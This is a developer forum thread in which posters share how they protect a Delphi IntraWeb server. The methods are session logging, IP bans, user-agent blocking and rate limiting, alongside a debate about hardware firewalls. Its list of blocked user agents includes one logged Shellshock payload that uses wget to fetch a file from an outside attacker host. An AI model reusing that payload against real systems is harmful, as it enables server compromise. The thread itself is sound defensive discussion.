Watch, Follow, &
Connect with Us

Please visit our new home
community.embarcadero.com.


Welcome, Guest
Guest Settings
Help

Thread: ServerController Defense



Permlink Replies: 10 - Last Post: Feb 21, 2017 11:34 AM Last Post By: Zane Leo
Daniel Fields

Posts: 622
Registered: 11/29/04
ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 18, 2017 4:24 AM
Lou Feliz asked me about this topic in the thread below. I decided to start a new thread so that one can remain on topic.
https://forums.embarcadero.com/thread.jspa?threadID=246581&tstart=0

Many years back I have noticed that my application's performance would suddenly degrade for no apparent reason. I would see activity when there should not have been. At times the server's CPU would max out for short periods of time.

In order to isolate the problem I decided to create a table and record every new session created by the ServerController. The table records date, time, IP, user agent, request and parameters. I added code on the OnNewSession event to write everything to the table. I was shocked to see sessions that were making strange requests, and using weird user agents.
I would see rapid fire attempts to hit the server, with 80-100 requests in just a few seconds. Each request starting a new session of my application. Each probe was an attempt to compromise the server.

I would see this activity every day, all day, non-stop. Not all of them were that extreme, but each one still wasted server resources. It had a direct impact on my paying customers experience with the application. My first defense was to create another table to store banned IP addresses. I would monitor the Sessions table and manually added addresses to the banned table.

Next I created another table to record the user agents that were being used by some of these probes. They were obviously different than those of legitimate users. Some of them tried to present themselves as older versions of browsers. Some used known exploits and hacks in an attempt to locate an unpatched server. I added code to the ServerController.OnNewSession event to identify traffic from banned addresses and killed the sessions before they got started.

After a little more thought I decided to move this logic to the OnBrowserCheck event because it is fired earlier in the session. I got stricter on analyzing the user agents. I kill any session that has a blank user agent. A legitimate user would not have an empty user agent. I added another table to store user agent fragments that I determined to be suspicious. I added code to the OnNewSession event that kills any session that contains any of the fragments.

The last logic I added was to address someone hitting the server repeatedly in a matter of seconds. I wrote a query to find the last few sessions from that IP address. If there are too many of them in a few seconds, the system kills the session and bans the address.

When an address is banned the session is usually killed in less than a half second. It also prevents a false creation of a UserSession and its resources. I have since added another rule or two to further guard against rapid fire attacks. I enjoy seeing how many addresses the system bans on its own. I no longer have the phantom spikes on the server CPU, and my users have a consistent experience.

The code I wrote is tied to some classes from NexusDB that allow me to use threads. The logic is very simple and could be adapted easily. If you are not logging sessions, you have no idea what kind of traffic you might be dealing with. Firewalls and internet security systems cannot protect your application once you open a port to the outside world.

My application has blocked more than 6500 probes since September 2016. Here are some examples of UserAgents that were blocked

Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
Telesphoreo
Mozilla/5.0
Cloud mapping experiment. Contact research@pdrlabs.net
masscan/1.0 (https://github.com/robertdavidgraham/masscan)
curl/7.43.0
facebookexternalhit/1.1
Wget(linux)
python-requests/2.7.0 CPython/2.7.9 Windows/2003Server
python-requests/2.11.1
Microsoft-WebDAV-MiniRedir/6.1.7601
masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Scanbot
() { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://lliillii.altervista.org/io.php 0<&1 2>&1
Mozilla/5.0 (compatible; Uptimebot/1.0; +http://www.uptime.com/uptimebot)
Mozilla/5.0 (compatible; TeeRaidBot; +https://teeraid.com/bot/)
Python-urllib/2.7
Python-urllib/2.6
CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)
python-requests/2.7.0 CPython/2.7.6 Windows/2008ServerR2
redback/v0-570-g26f8c96
libwww-perl/6.13
Lou Feliz

Posts: 114
Registered: 7/16/97
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 18, 2017 8:16 AM   in response to: Daniel Fields in response to: Daniel Fields
Daniel,

Thanks for sharing your description of how you protect your application against unwanted attacks and scans. This has me thinking that I need to definitely add this functionality to my app, but first I would like to create a demonstration project , perhaps with a little help :)

Cheers!

- Lou
Dan Barclay

Posts: 889
Registered: 11/9/03
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 18, 2017 1:33 PM   in response to: Lou Feliz in response to: Lou Feliz
Lou Feliz wrote:
Daniel,

Thanks for sharing your description of how you protect your application against unwanted attacks and scans. This has me thinking that I need to definitely add this functionality to my app, but first I would like to create a demonstration project , perhaps with a little help :)

Here is another thread from a while back, several comments and good info from Daniel there as well.

https://forums.embarcadero.com/thread.jspa?messageID=691991#691991

Dan
Daniel Fields

Posts: 622
Registered: 11/29/04
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 18, 2017 1:43 PM   in response to: Dan Barclay in response to: Dan Barclay
Wow! That is exactly where all of this started for me. I forgot about that thread, but I used all of that as the basis for what I now have in place.
Dan Barclay

Posts: 889
Registered: 11/9/03
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 18, 2017 5:18 PM   in response to: Daniel Fields in response to: Daniel Fields
Daniel Fields wrote:
Wow! That is exactly where all of this started for me. I forgot about that thread, but I used all of that as the basis for what I now have in place.
See, I guess you are a legend <lol>

I snagged the link a while back and remembered it when this came back up.

Dan
Alexandre Machado

Posts: 1,754
Registered: 8/10/13
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 19, 2017 11:31 PM   in response to: Daniel Fields in response to: Daniel Fields
Daniel Fields wrote:
Wow! That is exactly where all of this started for me. I forgot about that thread, but I used all of that as the basis for what I now have in place.

I think we should put this together in a more complete demo and upload it to our repo.... ;-)
Daniel Fields

Posts: 622
Registered: 11/29/04
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 18, 2017 1:18 PM   in response to: Daniel Fields in response to: Daniel Fields
I can help you with the demo project. I think I still have the initial test project I used. The trickiest part was testing the solution. I had to build a desktop application that allowed me to set the user agent, and fire requests in a loop. I had to build a weapon to test my defenses.

During the whole process I got an education on server security and penetration testing. I found nmap (https://nmap.org/), which is "a free and open source utility for network discovery and security auditing". I have barely tapped into its features, but it can tell you a great deal about your server. I have to disable my defenses for it to work on my server.

I also found Pentest-Tools.com, "a collection of ethical hacking tools which enables you to test the security of websites and network infrastructures from a remote location". That has many ways to test your server's security.

This may be overkill in some situations. In my case, I want to exceed medical and banking security standards.
Zane Leo

Posts: 55
Registered: 12/29/09
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 20, 2017 11:31 AM   in response to: Daniel Fields in response to: Daniel Fields
Our business just happen to operate in both the health and banking and I am heavily involved with ensuring security including pen-tests.

What is being discussed here's is great but, in my view, a good "poor man's" solution and will not be acceptable as a first line defense.

Hardware based firewalls such as Watchguard, Cisco, etc are now very affordable BUT does require some expertise to implement and maintain. For a few hundred dollars they now include IPS, IDS, geog-isolation, bot-prevention.

What is planned here's is, in my view, a good stop-gap solution.

Just my 2-cents worth...

Regards
Daniel Fields

Posts: 622
Registered: 11/29/04
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 20, 2017 12:06 PM   in response to: Zane Leo in response to: Zane Leo
That all depends upon architecture. I am running in a 100% cloud environment, nothing is in our physical location, and has not been in over a decade. I would have to switch to a hybrid environment in order to integrate a physical firewall. All of the cloud-focused products in this area require operation through virtualization, such as HyperV, VMware. None of those are options for small and medium scale projects.

Also, those devices address traffic before it hits your application. They also do not run 100% on their own. In many cases human intervention is still required to put security features in place after a threat has been identified. That does not help in real time. I'm not saying the products are bad, but there is no possible way they can filter and prevent all attacks and threats. They do not use artificial intelligence to learn threats, they use rules data to monitor traffic as it comes in. They cannot decide what is valid traffic for my application because they do not know its function.

For decades developers have had a laid back attitude when it comes to security. It has been treated as a network issue, outside of development's responsibilities. I see that as a HUGE mistake when nearly all defenses are reactive. I believe that security should be a development concern first. There is no reason for an application to passively endure obvious attacks until someone has time to tell the security appliance about a new threat.

I see the original topic hear as different from the role of a security appliance. I think of it as a shield around the application that allows it to conserve resources by stopping false sessions from being created. Every webserver has a method of request filtering because it's a higher level of scrutiny than the packet level of security devices. Most high-end devices have a proprietary form of request filtering, but the rules can only be built after the fact.

Intraweb applications do not have many defenses built into them. We are limited to ServerController options and whatever the firewall has to offer. That means if a request gets past the router and firewall it goes directly to my application. I think its better to defend one's self as opposed to being punched in the face until help arrives. A fully secured application environment should have security at every possible level.

Security IS part of our responsibility as developers. We cannot afford to push it off to another department.
Zane Leo

Posts: 55
Registered: 12/29/09
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 21, 2017 11:34 AM   in response to: Daniel Fields in response to: Daniel Fields
I don't want to unnecessarily prolong this discussion but just recently we ported and deployed one of our IW apps to the cloud and we deployed it with firewall services. Virtualisaton is an architecture option like many others such as dedicated or shared or virtualised firewall services and other security decisions and options.

While I agree that security must be a concern at every stage of development and deployment there are firewalls that do have very sophisticated, active realtime IPS and IDS services and interfaces in a device that is built for purpose - at an affordable price.

Architecture is also budget constrained. :)
Lou Feliz

Posts: 114
Registered: 7/16/97
Re: ServerController Defense
Click to report abuse...   Click to reply to this thread Reply
  Posted: Feb 20, 2017 12:31 PM   in response to: Daniel Fields in response to: Daniel Fields
Daniel,

I will take a look that old thread and start there with checking user agent string etc...I will keep my experiments database free for now and then possibly stick with whats available with Delphi as I normally use Unidac VCL for database access.

Cheers!

- Lou


Daniel Fields wrote:
I can help you with the demo project. I think I still have the initial test project I used. The trickiest part was testing the solution. I had to build a desktop application that allowed me to set the user agent, and fire requests in a loop. I had to build a weapon to test my defenses.

During the whole process I got an education on server security and penetration testing. I found nmap (https://nmap.org/), which is "a free and open source utility for network discovery and security auditing". I have barely tapped into its features, but it can tell you a great deal about your server. I have to disable my defenses for it to work on my server.

I also found Pentest-Tools.com, "a collection of ethical hacking tools which enables you to test the security of websites and network infrastructures from a remote location". That has many ways to test your server's security.

This may be overkill in some situations. In my case, I want to exceed medical and banking security standards.
Legend
Helpful Answer (5 pts)
Correct Answer (10 pts)

Server Response from: ETNAJIVE02